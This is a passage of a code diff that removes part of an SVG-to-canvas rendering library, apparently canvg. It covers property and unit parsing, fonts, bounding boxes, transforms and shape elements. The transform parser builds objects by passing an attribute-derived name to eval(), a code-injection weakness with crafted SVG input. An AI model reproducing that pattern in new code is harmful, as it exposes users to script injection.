-		var svg;
-		if (target.svg == null) {
-			svg = build();
-			target.svg = svg;
-		}
-		else {
-			svg = target.svg;
-			svg.stop();
-		}
-		svg.opts = opts;
-		
-		var ctx = target.getContext('2d');
-		if (s.substr(0,1) == '<') {
-			// load from xml string
-			svg.loadXml(ctx, s);
-		}
-		else {
-			// load from url
-			svg.load(ctx, s);
-		}
-	}
-
-	function build() {
-		var svg = { };
-		
-		svg.FRAMERATE = 30;
-		
-		// globals
-		svg.init = function(ctx) {
-			svg.Definitions = {};
-			svg.Styles = {};
-			svg.Animations = [];
-			svg.Images = [];
-			svg.ctx = ctx;
-			svg.ViewPort = new (function () {
-				this.viewPorts = [];
-				this.SetCurrent = function(width, height) { this.viewPorts.push({ width: width, height: height }); }
-				this.RemoveCurrent = function() { this.viewPorts.pop(); }
-				this.Current = function() { return this.viewPorts[this.viewPorts.length - 1]; }
-				this.width = function() { return this.Current().width; }
-				this.height = function() { return this.Current().height; }
-				this.ComputeSize = function(d) {
-					if (d != null && typeof(d) == 'number') return d;
-					if (d == 'x') return this.width();
-					if (d == 'y') return this.height();
-					return Math.sqrt(Math.pow(this.width(), 2) + Math.pow(this.height(), 2)) / Math.sqrt(2);			
-				}
-			});
-		}
-		svg.init();
-		
-		// images loaded
-		svg.ImagesLoaded = function() { 
-			for (var i=0; i<svg.Images.length; i++) {
-				if (!svg.Images[i].loaded) return false;
-			}
-			return true;
-		}
-
-		// trim
-		svg.trim = function(s) { return s.replace(/^\s+|\s+$/g, ''); }
-		
-		// compress spaces
-		svg.compressSpaces = function(s) { return s.replace(/[\s\r\t\n]+/gm,' '); }
-		
-		// ajax
-		svg.ajax = function(url) {
-			var AJAX;
-			if(window.XMLHttpRequest){AJAX=new XMLHttpRequest();}
-			else{AJAX=new ActiveXObject('Microsoft.XMLHTTP');}
-			if(AJAX){
-			   AJAX.open('GET',url,false);
-			   AJAX.send(null);
-			   return AJAX.responseText;
-			}
-			return null;
-		} 
-		
-		// parse xml
-		svg.parseXml = function(xml) {
-			if (window.DOMParser)
-			{
-				var parser = new DOMParser();
-				return parser.parseFromString(xml, 'text/xml');
-			}
-			else 
-			{
-				xml = xml.replace(/<!DOCTYPE svg[^>]*>/, '');
-				var xmlDoc = new ActiveXObject('Microsoft.XMLDOM');
-				xmlDoc.async = 'false';
-				xmlDoc.loadXML(xml); 
-				return xmlDoc;
-			}		
-		}
-		
-		svg.Property = function(name, value) {
-			this.name = name;
-			this.value = value;
-			
-			this.hasValue = function() {
-				return (this.value != null && this.value != '');
-			}
-							
-			// return the numerical value of the property
-			this.numValue = function() {
-				if (!this.hasValue()) return 0;
-				
-				var n = parseFloat(this.value);
-				if ((this.value + '').match(/%$/)) {
-					n = n / 100.0;
-				}
-				return n;
-			}
-			
-			this.valueOrDefault = function(def) {
-				if (this.hasValue()) return this.value;
-				return def;
-			}
-			
-			this.numValueOrDefault = function(def) {
-				if (this.hasValue()) return this.numValue();
-				return def;
-			}
-			
-			/* EXTENSIONS */
-			var that = this;
-			
-			// color extensions
-			this.Color = {
-				// augment the current color value with the opacity
-				addOpacity: function(opacity) {
-					var newValue = that.value;
-					if (opacity != null && opacity != '') {
-						var color = new RGBColor(that.value);
-						if (color.ok) {
-							newValue = 'rgba(' + color.r + ', ' + color.g + ', ' + color.b + ', ' + opacity + ')';
-						}
-					}
-					return new svg.Property(that.name, newValue);
-				}
-			}
-			
-			// definition extensions
-			this.Definition = {
-				// get the definition from the definitions table
-				getDefinition: function() {
-					var name = that.value.replace(/^(url\()?#([^\)]+)\)?$/, '$2');
-					return svg.Definitions[name];
-				},
-				
-				isUrl: function() {
-					return that.value.indexOf('url(') == 0
-				},
-				
-				getFillStyle: function(e) {
-					var def = this.getDefinition();
-					
-					// gradient
-					if (def != null && def.createGradient) {
-						return def.createGradient(svg.ctx, e);
-					}
-					
-					// pattern
-					if (def != null && def.createPattern) {
-						return def.createPattern(svg.ctx, e);
-					}
-					
-					return null;
-				}
-			}
-			
-			// length extensions
-			this.Length = {
-				DPI: function(viewPort) {
-					return 96.0; // TODO: compute?
-				},
-				
-				EM: function(viewPort) {
-					var em = 12;
-					
-					var fontSize = new svg.Property('fontSize', svg.Font.Parse(svg.ctx.font).fontSize);
-					if (fontSize.hasValue()) em = fontSize.Length.toPixels(viewPort);
-					
-					return em;
-				},
-			
-				// get the length as pixels
-				toPixels: function(viewPort) {
-					if (!that.hasValue()) return 0;
-					var s = that.value+'';
-					if (s.match(/em$/)) return that.numValue() * this.EM(viewPort);
-					if (s.match(/ex$/)) return that.numValue() * this.EM(viewPort) / 2.0;
-					if (s.match(/px$/)) return that.numValue();
-					if (s.match(/pt$/)) return that.numValue() * 1.25;
-					if (s.match(/pc$/)) return that.numValue() * 15;
-					if (s.match(/cm$/)) return that.numValue() * this.DPI(viewPort) / 2.54;
-					if (s.match(/mm$/)) return that.numValue() * this.DPI(viewPort) / 25.4;
-					if (s.match(/in$/)) return that.numValue() * this.DPI(viewPort);
-					if (s.match(/%$/)) return that.numValue() * svg.ViewPort.ComputeSize(viewPort);
-					return that.numValue();
-				}
-			}
-			
-			// time extensions
-			this.Time = {
-				// get the time as milliseconds
-				toMilliseconds: function() {
-					if (!that.hasValue()) return 0;
-					var s = that.value+'';
-					if (s.match(/s$/)) return that.numValue() * 1000;
-					if (s.match(/ms$/)) return that.numValue();
-					return that.numValue();
-				}
-			}
-			
-			// angle extensions
-			this.Angle = {
-				// get the angle as radians
-				toRadians: function() {
-					if (!that.hasValue()) return 0;
-					var s = that.value+'';
-					if (s.match(/deg$/)) return that.numValue() * (Math.PI / 180.0);
-					if (s.match(/grad$/)) return that.numValue() * (Math.PI / 200.0);
-					if (s.match(/rad$/)) return that.numValue();
-					return that.numValue() * (Math.PI / 180.0);
-				}
-			}
-		}
-		
-		// fonts
-		svg.Font = new (function() {
-			this.Styles = ['normal','italic','oblique','inherit'];
-			this.Variants = ['normal','small-caps','inherit'];
-			this.Weights = ['normal','bold','bolder','lighter','100','200','300','400','500','600','700','800','900','inherit'];
-			
-			this.CreateFont = function(fontStyle, fontVariant, fontWeight, fontSize, fontFamily, inherit) { 
-				var f = inherit != null ? this.Parse(inherit) : this.CreateFont('', '', '', '', '', svg.ctx.font);
-				return { 
-					fontFamily: fontFamily || f.fontFamily, 
-					fontSize: fontSize || f.fontSize, 
-					fontStyle: fontStyle || f.fontStyle, 
-					fontWeight: fontWeight || f.fontWeight, 
-					fontVariant: fontVariant || f.fontVariant,
-					toString: function () { return [this.fontStyle, this.fontVariant, this.fontWeight, this.fontSize, this.fontFamily].join(' ') } 
-				} 
-			}
-			
-			var that = this;
-			this.Parse = function(s) {
-				var f = {};
-				var d = svg.trim(svg.compressSpaces(s || '')).split(' ');
-				var set = { fontSize: false, fontStyle: false, fontWeight: false, fontVariant: false }
-				var ff = '';
-				for (var i=0; i<d.length; i++) {
-					if (!set.fontStyle && that.Styles.indexOf(d[i]) != -1) { if (d[i] != 'inherit') f.fontStyle = d[i]; set.fontStyle = true; }
-					else if (!set.fontVariant && that.Variants.indexOf(d[i]) != -1) { if (d[i] != 'inherit') f.fontVariant = d[i]; set.fontStyle = set.fontVariant = true;	}
-					else if (!set.fontWeight && that.Weights.indexOf(d[i]) != -1) {	if (d[i] != 'inherit') f.fontWeight = d[i]; set.fontStyle = set.fontVariant = set.fontWeight = true; }
-					else if (!set.fontSize) { if (d[i] != 'inherit') f.fontSize = d[i].split('/')[0]; set.fontStyle = set.fontVariant = set.fontWeight = set.fontSize = true; }
-					else { if (d[i] != 'inherit') ff += d[i]; }
-				} if (ff != '') f.fontFamily = ff;
-				return f;
-			}
-		});
-		
-		// points and paths
-		svg.ToNumberArray = function(s) {
-			var a = svg.trim(svg.compressSpaces((s || '').replace(/,/g, ' '))).split(' ');
-			for (var i=0; i<a.length; i++) {
-				a[i] = parseFloat(a[i]);
-			}
-			return a;
-		}		
-		svg.Point = function(x, y) {
-			this.x = x;
-			this.y = y;
-			
-			this.angleTo = function(p) {
-				return Math.atan2(p.y - this.y, p.x - this.x);
-			}
-			
-			this.applyTransform = function(v) {
-				var xp = this.x * v[0] + this.y * v[2] + v[4];
-				var yp = this.x * v[1] + this.y * v[3] + v[5];
-				this.x = xp;
-				this.y = yp;
-			}
-		}
-		svg.CreatePoint = function(s) {
-			var a = svg.ToNumberArray(s);
-			return new svg.Point(a[0], a[1]);
-		}
-		svg.CreatePath = function(s) {
-			var a = svg.ToNumberArray(s);
-			var path = [];
-			for (var i=0; i<a.length; i+=2) {
-				path.push(new svg.Point(a[i], a[i+1]));
-			}
-			return path;
-		}
-		
-		// bounding box
-		svg.BoundingBox = function(x1, y1, x2, y2) { // pass in initial points if you want
-			this.x1 = Number.NaN;
-			this.y1 = Number.NaN;
-			this.x2 = Number.NaN;
-			this.y2 = Number.NaN;
-			
-			this.x = function() { return this.x1; }
-			this.y = function() { return this.y1; }
-			this.width = function() { return this.x2 - this.x1; }
-			this.height = function() { return this.y2 - this.y1; }
-			
-			this.addPoint = function(x, y) {	
-				if (x != null) {
-					if (isNaN(this.x1) || isNaN(this.x2)) {
-						this.x1 = x;
-						this.x2 = x;
-					}
-					if (x < this.x1) this.x1 = x;
-					if (x > this.x2) this.x2 = x;
-				}
-			
-				if (y != null) {
-					if (isNaN(this.y1) || isNaN(this.y2)) {
-						this.y1 = y;
-						this.y2 = y;
-					}
-					if (y < this.y1) this.y1 = y;
-					if (y > this.y2) this.y2 = y;
-				}
-			}			
-			this.addX = function(x) { this.addPoint(x, null); }
-			this.addY = function(y) { this.addPoint(null, y); }
-			
-			this.addQuadraticCurve = function(p0x, p0y, p1x, p1y, p2x, p2y) {
-				var cp1x = p0x + 2/3 * (p1x - p0x); // CP1 = QP0 + 2/3 *(QP1-QP0)
-				var cp1y = p0y + 2/3 * (p1y - p0y); // CP1 = QP0 + 2/3 *(QP1-QP0)
-				var cp2x = cp1x + 1/3 * (p2x - p0x); // CP2 = CP1 + 1/3 *(QP2-QP0)
-				var cp2y = cp1y + 1/3 * (p2y - p0y); // CP2 = CP1 + 1/3 *(QP2-QP0)
-				this.addBezierCurve(p0x, p0y, cp1x, cp2x, cp1y,	cp2y, p2x, p2y);
-			}
-			
-			this.addBezierCurve = function(p0x, p0y, p1x, p1y, p2x, p2y, p3x, p3y) {
-				// from http://blog.hackers-cafe.net/2009/06/how-to-calculate-bezier-curves-bounding.html
-				var p0 = [p0x, p0y], p1 = [p1x, p1y], p2 = [p2x, p2y], p3 = [p3x, p3y];
-				this.addPoint(p0[0], p0[1]);
-				this.addPoint(p3[0], p3[1]);
-				
-				for (i=0; i<=1; i++) {
-					var f = function(t) { 
-						return Math.pow(1-t, 3) * p0[i]
-						+ 3 * Math.pow(1-t, 2) * t * p1[i]
-						+ 3 * (1-t) * Math.pow(t, 2) * p2[i]
-						+ Math.pow(t, 3) * p3[i];
-					}
-					
-					var b = 6 * p0[i] - 12 * p1[i] + 6 * p2[i];
-					var a = -3 * p0[i] + 9 * p1[i] - 9 * p2[i] + 3 * p3[i];
-					var c = 3 * p1[i] - 3 * p0[i];
-					
-					if (a == 0) {
-						if (b == 0) continue;
-						var t = -c / b;
-						if (0 < t && t < 1) {
-							if (i == 0) this.addX(f(t));
-							if (i == 1) this.addY(f(t));
-						}
-						continue;
-					}
-					
-					var b2ac = Math.pow(b, 2) - 4 * c * a;
-					if (b2ac < 0) continue;
-					var t1 = (-b + Math.sqrt(b2ac)) / (2 * a);
-					if (0 < t1 && t1 < 1) {
-						if (i == 0) this.addX(f(t1));
-						if (i == 1) this.addY(f(t1));
-					}
-					var t2 = (-b - Math.sqrt(b2ac)) / (2 * a);
-					if (0 < t2 && t2 < 1) {
-						if (i == 0) this.addX(f(t2));
-						if (i == 1) this.addY(f(t2));
-					}
-				}
-			}
-			
-			this.isPointInBox = function(x, y) {
-				return (this.x1 <= x && x <= this.x2 && this.y1 <= y && y <= this.y2);
-			}
-			
-			this.addPoint(x1, y1);
-			this.addPoint(x2, y2);
-		}
-		
-		// transforms
-		svg.Transform = function(v) {	
-			var that = this;
-			this.Type = {}
-		
-			// translate
-			this.Type.translate = function(s) {
-				this.p = svg.CreatePoint(s);			
-				this.apply = function(ctx) {
-					ctx.translate(this.p.x || 0.0, this.p.y || 0.0);
-				}
-				this.applyToPoint = function(p) {
-					p.applyTransform([1, 0, 0, 1, this.p.x || 0.0, this.p.y || 0.0]);
-				}
-			}
-			
-			// rotate
-			this.Type.rotate = function(s) {
-				var a = svg.ToNumberArray(s);
-				this.angle = new svg.Property('angle', a[0]);
-				this.cx = a[1] || 0;
-				this.cy = a[2] || 0;
-				this.apply = function(ctx) {
-					ctx.translate(this.cx, this.cy);
-					ctx.rotate(this.angle.Angle.toRadians());
-					ctx.translate(-this.cx, -this.cy);
-				}
-				this.applyToPoint = function(p) {
-					var a = this.angle.Angle.toRadians();
-					p.applyTransform([1, 0, 0, 1, this.p.x || 0.0, this.p.y || 0.0]);
-					p.applyTransform([Math.cos(a), Math.sin(a), -Math.sin(a), Math.cos(a), 0, 0]);
-					p.applyTransform([1, 0, 0, 1, -this.p.x || 0.0, -this.p.y || 0.0]);
-				}			
-			}
-			
-			this.Type.scale = function(s) {
-				this.p = svg.CreatePoint(s);
-				this.apply = function(ctx) {
-					ctx.scale(this.p.x || 1.0, this.p.y || this.p.x || 1.0);
-				}
-				this.applyToPoint = function(p) {
-					p.applyTransform([this.p.x || 0.0, 0, 0, this.p.y || 0.0, 0, 0]);
-				}				
-			}
-			
-			this.Type.matrix = function(s) {
-				this.m = svg.ToNumberArray(s);
-				this.apply = function(ctx) {
-					ctx.transform(this.m[0], this.m[1], this.m[2], this.m[3], this.m[4], this.m[5]);
-				}
-				this.applyToPoint = function(p) {
-					p.applyTransform(this.m);
-				}					
-			}
-			
-			this.Type.SkewBase = function(s) {
-				this.base = that.Type.matrix;
-				this.base(s);
-				this.angle = new svg.Property('angle', s);
-			}
-			this.Type.SkewBase.prototype = new this.Type.matrix;
-			
-			this.Type.skewX = function(s) {
-				this.base = that.Type.SkewBase;
-				this.base(s);
-				this.m = [1, 0, Math.tan(this.angle.Angle.toRadians()), 1, 0, 0];
-			}
-			this.Type.skewX.prototype = new this.Type.SkewBase;
-			
-			this.Type.skewY = function(s) {
-				this.base = that.Type.SkewBase;
-				this.base(s);
-				this.m = [1, Math.tan(this.angle.Angle.toRadians()), 0, 1, 0, 0];
-			}
-			this.Type.skewY.prototype = new this.Type.SkewBase;
-		
-			this.transforms = [];
-			
-			this.apply = function(ctx) {
-				for (var i=0; i<this.transforms.length; i++) {
-					this.transforms[i].apply(ctx);
-				}
-			}
-			
-			this.applyToPoint = function(p) {
-				for (var i=0; i<this.transforms.length; i++) {
-					this.transforms[i].applyToPoint(p);
-				}
-			}
-			
-			var data = v.split(/\s(?=[a-z])/);
-			for (var i=0; i<data.length; i++) {
-				var type = data[i].split('(')[0];
-				var s = data[i].split('(')[1].replace(')','');
-				var transform = eval('new this.Type.' + type + '(s)');
-				this.transforms.push(transform);
-			}
-		}
-		
-		// aspect ratio
-		svg.AspectRatio = function(ctx, aspectRatio, width, desiredWidth, height, desiredHeight, minX, minY, refX, refY) {
-			// aspect ratio - http://www.w3.org/TR/SVG/coords.html#PreserveAspectRatioAttribute
-			aspectRatio = svg.compressSpaces(aspectRatio);
-			aspectRatio = aspectRatio.replace(/^defer\s/,''); // ignore defer
-			var align = aspectRatio.split(' ')[0] || 'xMidYMid';
-			var meetOrSlice = aspectRatio.split(' ')[1] || 'meet';					
-	
-			// calculate scale
-			var scaleX = width / desiredWidth;
-			var scaleY = height / desiredHeight;
-			var scaleMin = Math.min(scaleX, scaleY);
-			var scaleMax = Math.max(scaleX, scaleY);
-			if (meetOrSlice == 'meet') { desiredWidth *= scaleMin; desiredHeight *= scaleMin; }
-			if (meetOrSlice == 'slice') { desiredWidth *= scaleMax; desiredHeight *= scaleMax; }	
-			
-			refX = new svg.Property('refX', refX);
-			refY = new svg.Property('refY', refY);
-			if (refX.hasValue() && refY.hasValue()) {				
-				ctx.translate(-scaleMin * refX.Length.toPixels('x'), -scaleMin * refY.Length.toPixels('y'));
-			} 
-			else {					
-				// align
-				if (align.match(/^xMid/) && ((meetOrSlice == 'meet' && scaleMin == scaleY) || (meetOrSlice == 'slice' && scaleMax == scaleY))) ctx.translate(width / 2.0 - desiredWidth / 2.0, 0); 
-				if (align.match(/YMid$/) && ((meetOrSlice == 'meet' && scaleMin == scaleX) || (meetOrSlice == 'slice' && scaleMax == scaleX))) ctx.translate(0, height / 2.0 - desiredHeight / 2.0); 
-				if (align.match(/^xMax/) && ((meetOrSlice == 'meet' && scaleMin == scaleY) || (meetOrSlice == 'slice' && scaleMax == scaleY))) ctx.translate(width - desiredWidth, 0); 
-				if (align.match(/YMax$/) && ((meetOrSlice == 'meet' && scaleMin == scaleX) || (meetOrSlice == 'slice' && scaleMax == scaleX))) ctx.translate(0, height - desiredHeight); 
-			}
-			
-			// scale
-			if (meetOrSlice == 'meet') ctx.scale(scaleMin, scaleMin); 
-			if (meetOrSlice == 'slice') ctx.scale(scaleMax, scaleMax); 	
-			
-			// translate
-			ctx.translate(minX == null ? 0 : -minX, minY == null ? 0 : -minY);			
-		}
-		
-		// elements
-		svg.Element = {}
-		
-		svg.Element.ElementBase = function(node) {	
-			this.attributes = {};
-			this.styles = {};
-			this.children = [];
-			
-			// get or create attribute
-			this.attribute = function(name, createIfNotExists) {
-				var a = this.attributes[name];
-				if (a != null) return a;
-							
-				a = new svg.Property(name, '');
-				if (createIfNotExists == true) this.attributes[name] = a;
-				return a;
-			}
-			
-			// get or create style
-			this.style = function(name, createIfNotExists) {
-				var s = this.styles[name];
-				if (s != null) return s;
-				
-				var a = this.attribute(name);
-				if (a != null && a.hasValue()) {
-					return a;
-				}
-					
-				s = new svg.Property(name, '');
-				if (createIfNotExists == true) this.styles[name] = s;
-				return s;
-			}
-			
-			// base render
-			this.render = function(ctx) {
-				// don't render display=none
-				if (this.attribute('display').value == 'none') return;
-			
-				ctx.save();
-				this.setContext(ctx);
-				this.renderChildren(ctx);
-				this.clearContext(ctx);
-				ctx.restore();
-			}
-			
-			// base set context
-			this.setContext = function(ctx) {
-				// OVERRIDE ME!
-			}
-			
-			// base clear context
-			this.clearContext = function(ctx) {
-				// OVERRIDE ME!
-			}			
-			
-			// base render children
-			this.renderChildren = function(ctx) {
-				for (var i=0; i<this.children.length; i++) {
-					this.children[i].render(ctx);
-				}
-			}
-			
-			this.addChild = function(childNode, create) {
-				var child = childNode;
-				if (create) child = svg.CreateElement(childNode);
-				child.parent = this;
-				this.children.push(child);			
-			}
-				
-			if (node != null && node.nodeType == 1) { //ELEMENT_NODE
-				// add children
-				for (var i=0; i<node.childNodes.length; i++) {
-					var childNode = node.childNodes[i];
-					if (childNode.nodeType == 1) this.addChild(childNode, true); //ELEMENT_NODE
-				}
-				
-				// add attributes
-				for (var i=0; i<node.attributes.length; i++) {
-					var attribute = node.attributes[i];
-					this.attributes[attribute.nodeName] = new svg.Property(attribute.nodeName, attribute.nodeValue);
-				}
-										
-				// add tag styles
-				var styles = svg.Styles[this.type];
-				if (styles != null) {
-					for (var name in styles) {
-						this.styles[name] = styles[name];
-					}
-				}					
-				
-				// add class styles
-				if (this.attribute('class').hasValue()) {
-					var classes = svg.compressSpaces(this.attribute('class').value).split(' ');
-					for (var j=0; j<classes.length; j++) {
-						styles = svg.Styles['.'+classes[j]];
-						if (styles != null) {
-							for (var name in styles) {
-								this.styles[name] = styles[name];
-							}
-						}
-					}
-				}
-				
-				// add inline styles
-				if (this.attribute('style').hasValue()) {
-					var styles = this.attribute('style').value.split(';');
-					for (var i=0; i<styles.length; i++) {
-						if (svg.trim(styles[i]) != '') {
-							var style = styles[i].split(':');
-							var name = svg.trim(style[0]);
-							var value = svg.trim(style[1]);
-							this.styles[name] = new svg.Property(name, value);
-						}
-					}
-				}	
-
-				// add id
-				if (this.attribute('id').hasValue()) {
-					if (svg.Definitions[this.attribute('id').value] == null) {
-						svg.Definitions[this.attribute('id').value] = this;
-					}
-				}
-			}
-		}
-		
-		svg.Element.RenderedElementBase = function(node) {
-			this.base = svg.Element.ElementBase;
-			this.base(node);
-			
-			this.setContext = function(ctx) {
-				// fill
-				if (this.style('fill').Definition.isUrl()) {
-					var fs = this.style('fill').Definition.getFillStyle(this);
-					if (fs != null) ctx.fillStyle = fs;
-				}
-				else if (this.style('fill').hasValue()) {
-					var fillStyle = this.style('fill');
-					if (this.style('fill-opacity').hasValue()) fillStyle = fillStyle.Color.addOpacity(this.style('fill-opacity').value);
-					ctx.fillStyle = (fillStyle.value == 'none' ? 'rgba(0,0,0,0)' : fillStyle.value);
-				}
-									
-				// stroke
-				if (this.style('stroke').Definition.isUrl()) {
-					var fs = this.style('stroke').Definition.getFillStyle(this);
-					if (fs != null) ctx.strokeStyle = fs;
-				}
-				else if (this.style('stroke').hasValue()) {
-					var strokeStyle = this.style('stroke');
-					if (this.style('stroke-opacity').hasValue()) strokeStyle = strokeStyle.Color.addOpacity(this.style('stroke-opacity').value);
-					ctx.strokeStyle = (strokeStyle.value == 'none' ? 'rgba(0,0,0,0)' : strokeStyle.value);
-				}
-				if (this.style('stroke-width').hasValue()) ctx.lineWidth = this.style('stroke-width').Length.toPixels();
-				if (this.style('stroke-linecap').hasValue()) ctx.lineCap = this.style('stroke-linecap').value;
-				if (this.style('stroke-linejoin').hasValue()) ctx.lineJoin = this.style('stroke-linejoin').value;
-				if (this.style('stroke-miterlimit').hasValue()) ctx.miterLimit = this.style('stroke-miterlimit').value;
-
-				// font
-				if (typeof(ctx.font) != 'undefined') {
-					ctx.font = svg.Font.CreateFont( 
-						this.style('font-style').value, 
-						this.style('font-variant').value, 
-						this.style('font-weight').value, 
-						this.style('font-size').hasValue() ? this.style('font-size').Length.toPixels() + 'px' : '', 
-						this.style('font-family').value).toString();
-				}
-				
-				// transform
-				if (this.attribute('transform').hasValue()) { 
-					var transform = new svg.Transform(this.attribute('transform').value);
-					transform.apply(ctx);
-				}
-				
-				// clip
-				if (this.attribute('clip-path').hasValue()) {
-					var clip = this.attribute('clip-path').Definition.getDefinition();
-					if (clip != null) clip.apply(ctx);
-				}
-				
-				// opacity
-				if (this.style('opacity').hasValue()) {
-					ctx.globalAlpha = this.style('opacity').numValue();
-				}
-			}		
-		}
-		svg.Element.RenderedElementBase.prototype = new svg.Element.ElementBase;
-		
-		svg.Element.PathElementBase = function(node) {
-			this.base = svg.Element.RenderedElementBase;
-			this.base(node);
-			
-			this.path = function(ctx) {
-				if (ctx != null) ctx.beginPath();
-				return new svg.BoundingBox();
-			}
-			
-			this.renderChildren = function(ctx) {
-				this.path(ctx);
-				svg.Mouse.checkPath(this, ctx);
-				if (ctx.fillStyle != '') ctx.fill();
-				if (ctx.strokeStyle != '') ctx.stroke();
-				
-				var markers = this.getMarkers();
-				if (markers != null) {
-					if (this.attribute('marker-start').Definition.isUrl()) {
-						var marker = this.attribute('marker-start').Definition.getDefinition();
-						marker.render(ctx, markers[0][0], markers[0][1]);
-					}
-					if (this.attribute('marker-mid').Definition.isUrl()) {
-						var marker = this.attribute('marker-mid').Definition.getDefinition();
-						for (var i=1;i<markers.length-1;i++) {
-							marker.render(ctx, markers[i][0], markers[i][1]);
-						}
-					}
-					if (this.attribute('marker-end').Definition.isUrl()) {
-						var marker = this.attribute('marker-end').Definition.getDefinition();
-						marker.render(ctx, markers[markers.length-1][0], markers[markers.length-1][1]);
-					}
-				}					
-			}
-			
-			this.getBoundingBox = function() {
-				return this.path();
-			}
-			
-			this.getMarkers = function() {
-				return null;
-			}
-		}
-		svg.Element.PathElementBase.prototype = new svg.Element.RenderedElementBase;
-		
-		// svg element
-		svg.Element.svg = function(node) {
-			this.base = svg.Element.RenderedElementBase;
-			this.base(node);
-			
-			this.baseClearContext = this.clearContext;
-			this.clearContext = function(ctx) {
-				this.baseClearContext(ctx);
-				svg.ViewPort.RemoveCurrent();
-			}
-			
-			this.baseSetContext = this.setContext;
-			this.setContext = function(ctx) {
-				this.baseSetContext(ctx);
-				
-				// create new view port
-				if (this.attribute('x').hasValue() && this.attribute('y').hasValue()) {
-					ctx.translate(this.attribute('x').Length.toPixels('x'), this.attribute('y').Length.toPixels('y'));
-				}
-				
-				var width = svg.ViewPort.width();
-				var height = svg.ViewPort.height();
-				if (this.attribute('width').hasValue() && this.attribute('height').hasValue()) {
-					width = this.attribute('width').Length.toPixels('x');
-					height = this.attribute('height').Length.toPixels('y');
-					
-					var x = 0;
-					var y = 0;
-					if (this.attribute('refX').hasValue() && this.attribute('refY').hasValue()) {
-						x = -this.attribute('refX').Length.toPixels('x');
-						y = -this.attribute('refY').Length.toPixels('y');
-					}
-					
-					ctx.beginPath();
-					ctx.moveTo(x, y);
-					ctx.lineTo(width, y);
-					ctx.lineTo(width, height);
-					ctx.lineTo(x, height);
-					ctx.closePath();
-					ctx.clip();
-				}
-				svg.ViewPort.SetCurrent(width, height);	
-						
-				// viewbox
-				if (this.attribute('viewBox').hasValue()) {				
-					var viewBox = svg.ToNumberArray(this.attribute('viewBox').value);
-					var minX = viewBox[0];
-					var minY = viewBox[1];
-					width = viewBox[2];
-					height = viewBox[3];
-					
-					svg.AspectRatio(ctx,
-									this.attribute('preserveAspectRatio').value, 
-									svg.ViewPort.width(), 
-									width,
-									svg.ViewPort.height(),
-									height,
-									minX,
-									minY,
-									this.attribute('refX').value,
-									this.attribute('refY').value);
-										
-					svg.ViewPort.RemoveCurrent();	
-					svg.ViewPort.SetCurrent(viewBox[2], viewBox[3]);						
-				}				
-				
-				// initial values
-				ctx.strokeStyle = 'rgba(0,0,0,0)';
-				ctx.lineCap = 'butt';
-				ctx.lineJoin = 'miter';
-				ctx.miterLimit = 4;
-			}
-		}
-		svg.Element.svg.prototype = new svg.Element.RenderedElementBase;
-
-		// rect element
-		svg.Element.rect = function(node) {
-			this.base = svg.Element.PathElementBase;
-			this.base(node);
-			
-			this.path = function(ctx) {
-				var x = this.attribute('x').Length.toPixels('x');
-				var y = this.attribute('y').Length.toPixels('y');
-				var width = this.attribute('width').Length.toPixels('x');
-				var height = this.attribute('height').Length.toPixels('y');
-				var rx = this.attribute('rx').Length.toPixels('x');
-				var ry = this.attribute('ry').Length.toPixels('y');
-				if (this.attribute('rx').hasValue() && !this.attribute('ry').hasValue()) ry = rx;
-				if (this.attribute('ry').hasValue() && !this.attribute('rx').hasValue()) rx = ry;
-				
-				if (ctx != null) {
-					ctx.beginPath();
-					ctx.moveTo(x + rx, y);
-					ctx.lineTo(x + width - rx, y);
-					ctx.quadraticCurveTo(x + width, y, x + width, y + ry)
-					ctx.lineTo(x + width, y + height - ry);
-					ctx.quadraticCurveTo(x + width, y + height, x + width - rx, y + height)
-					ctx.lineTo(x + rx, y + height);
-					ctx.quadraticCurveTo(x, y + height, x, y + height - ry)
-					ctx.lineTo(x, y + ry);
-					ctx.quadraticCurveTo(x, y, x + rx, y)
-					ctx.closePath();
-				}
-				
-				return new svg.BoundingBox(x, y, x + width, y + height);
-			}
-		}
-		svg.Element.rect.prototype = new svg.Element.PathElementBase;
-		
-		// circle element
-		svg.Element.circle = function(node) {
-			this.base = svg.Element.PathElementBase;
-			this.base(node);
-			
-			this.path = function(ctx) {
-				var cx = this.attribute('cx').Length.toPixels('x');
-				var cy = this.attribute('cy').Length.toPixels('y');
-				var r = this.attribute('r').Length.toPixels();
-			
-				if (ctx != null) {
-					ctx.beginPath();
-					ctx.arc(cx, cy, r, 0, Math.PI * 2, true); 
-					ctx.closePath();
-				}
-				
-				return new svg.BoundingBox(cx - r, cy - r, cx + r, cy + r);
-			}
-		}
-		svg.Element.circle.prototype = new svg.Element.PathElementBase;	
-
-		// ellipse element
-		svg.Element.ellipse = function(node) {
-			this.base = svg.Element.PathElementBase;
-			this.base(node);
-			
-			this.path = function(ctx) {
-				var KAPPA = 4 * ((Math.sqrt(2) - 1) / 3);
-				var rx = this.attribute('rx').Length.toPixels('x');
-				var ry = this.attribute('ry').Length.toPixels('y');
-				var cx = this.attribute('cx').Length.toPixels('x');
-				var cy = this.attribute('cy').Length.toPixels('y');
-				
-				if (ctx != null) {
-					ctx.beginPath();
-					ctx.moveTo(cx, cy - ry);
-					ctx.bezierCurveTo(cx + (KAPPA * rx), cy - ry,  cx + rx, cy - (KAPPA * ry), cx + rx, cy);
-					ctx.bezierCurveTo(cx + rx, cy + (KAPPA * ry), cx + (KAPPA * rx), cy + ry, cx, cy + ry);
-					ctx.bezierCurveTo(cx - (KAPPA * rx), cy + ry, cx - rx, cy + (KAPPA * ry), cx - rx, cy);
-					ctx.bezierCurveTo(cx - rx, cy - (KAPPA * ry), cx - (KAPPA * rx), cy - ry, cx, cy - ry);
-					ctx.closePath();
-				}
-				
-				return new svg.BoundingBox(cx - rx, cy - ry, cx + rx, cy + ry);
-			}
-		}
-		svg.Element.ellipse.prototype = new svg.Element.PathElementBase;			
-		
-		// line element
-		svg.Element.line = function(node) {
-			this.base = svg.Element.PathElementBase;
-			this.base(node);
-			
-			this.getPoints = function() {
-				return [
-					new svg.Point(this.attribute('x1').Length.toPixels('x'), this.attribute('y1').Length.toPixels('y')),
-					new svg.Point(this.attribute('x2').Length.toPixels('x'), this.attribute('y2').Length.toPixels('y'))];
-			}
-								
-			this.path = function(ctx) {
-				var points = this.getPoints();
-				
-				if (ctx != null) {
-					ctx.beginPath();
-					ctx.moveTo(points[0].x, points[0].y);
-					ctx.lineTo(points[1].x, points[1].y);
-				}
-				
-				return new svg.BoundingBox(points[0].x, points[0].y, points[1].x, points[1].y);
-			}
-			
-			this.getMarkers = function() {
-				var points = this.getPoints();	
-				var a = points[0].angleTo(points[1]);
-				return [[points[0], a], [points[1], a]];
-			}
